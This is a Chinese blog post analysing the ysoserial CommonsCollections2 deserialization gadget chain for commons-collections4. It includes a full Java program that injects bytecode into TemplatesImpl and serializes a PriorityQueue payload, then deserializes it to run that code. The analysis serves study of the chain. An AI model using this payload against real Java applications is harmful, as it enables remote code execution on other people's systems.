在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2是针对commons-collections4版本,利用链如下:

/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code}; //给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
transformer.transform(templates); }
}

一、InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
} public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
} public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

二、TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

三、queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//略
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//略
for (int i = 0; i < size; i++)
queue[i] = s.readObject(); heapify();
}

通过反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。

最终完整利用实现:

public class CC2Test2 {
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code}; //给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("toString", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates; ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
objectOutputStream.writeObject(priorityQueue); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
objectInputStream.readObject(); }
}

ysoserial CommonsCollections2 分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  5. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. 自动化选课(Python + selenium

    ​ 前几天听到朋友说自己选课事情,突发奇想想要搞这样一个东西,但是由于各种原因只做到以下的完成度,具体的情况也会在解释的最后留下.这个只适用于曲师大的教务系统,因为用的这个系统来进行的一个调试,对于其 ...

  2. ViewGroup事件分发源码分析

    1.AndroidStudio源码调试方式 AndroidStudio默认是支持一部分源码调试的,但是build.gradle(app) 中的sdk版本要保持一致, 最好是编译版本.运行版本以及手机的 ...

  3. 输入a、b、c三个整数,按先大后小的顺序输出a、b和c。注意请使用指针变量的方式进行比较和输出。

    `void swap(int *a,int *b,int c){ if(a < *b){ int temp = *a; //防止temp没有初始化 随机存放地址指向系统工作区间 可以对temp初 ...

  4. Python入门系列(十)一篇学会python文件处理

    文件处理 在Python中处理文件的关键函数是open()函数.有四种不同的方法(模式)来打开一个文件 "r" - 读取 - 默认值.打开一个文件进行读取,如果文件不存在则出错. ...

  5. KingbaseES V8R6 维护管理案例之---Kstudio在CentOS 7启动故障

    ​ 案例说明: 在CentOS 7上安装KingbaseES V8R6C006数据库后,启动Kstudio图形界面启动失败,gtk动态库加载失败,安装gtk相关动态库后,问题解决. 适用版本: Kin ...

  6. PostgreSQL 欺骗优化器之扩展统计信息

    一.什么是扩展统计 扩展统计对象, 追踪指定表.外部表或物化视图的数据. 目前支持的种类: 启用n-distinct统计的 ndistinct. 启用功能依赖性统计的dependencies. 启用最 ...

  7. 对表白墙js文件的解释

    index.js 1 Page({ 2 3 /** 4 * 页面的初始数据 5 */ 6 data: { 7 xcx_appid:"", 8 }, 9 HuoquDaohangLi ...

  8. Q准则涡识别方法

    Q准则(Q Criterion)在涡识别中计算效率高,效果也不错,是一种常用的涡提取/识别方法. 了解Q准则需要从速度梯度张量入手,而速度梯度张量可以分解成两部分 \[\frac{\partial u ...

  9. 华南理工大学 Python第5章课后小测-1

    1.(单选)以下哪个函数的定义是错误的?(本题分数:2)A) def vfunc(a,b=2):B) def vfunc(a,b):C) def vfunc(a,*b):D) def vfunc(*a ...

  10. 【微服务】Nacos初体验

    SpringCloud - Nacos初体验 生命不息,写作不止 继续踏上学习之路,学之分享笔记 总有一天我也能像各位大佬一样 一个有梦有戏的人 @怒放吧德德 分享学习心得,欢迎指正,大家一起学习成长 ...